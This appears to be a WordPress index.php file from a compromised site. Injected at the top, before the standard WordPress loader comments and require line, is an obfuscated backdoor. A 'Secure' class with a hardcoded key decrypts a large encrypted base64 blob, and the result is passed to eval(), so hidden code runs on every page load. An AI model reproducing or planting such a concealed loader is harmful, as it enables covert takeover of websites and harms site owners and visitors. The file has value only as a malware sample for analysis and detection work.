Current File : /home/lecoinf/www/index.php |
<?php
class Secure {
private $masterKey;
private $iterations = 10000;
private $cipher = 'aes-256-cbc';
private $hmacAlgo = 'sha256';
private $saltLength = 16;
public function __construct($masterKey) {
$this->masterKey = $masterKey;
}
public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}
private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);
return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}
private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}
public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}
public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}
$secure = new Secure('3Etrksi87rde3hd8s819Poe0o39sqKjl9');
$str = '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';
$decrypted = $secure->decrypt($str);
eval($decrypted);
/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/
/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define( 'WP_USE_THEMES', true );
/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';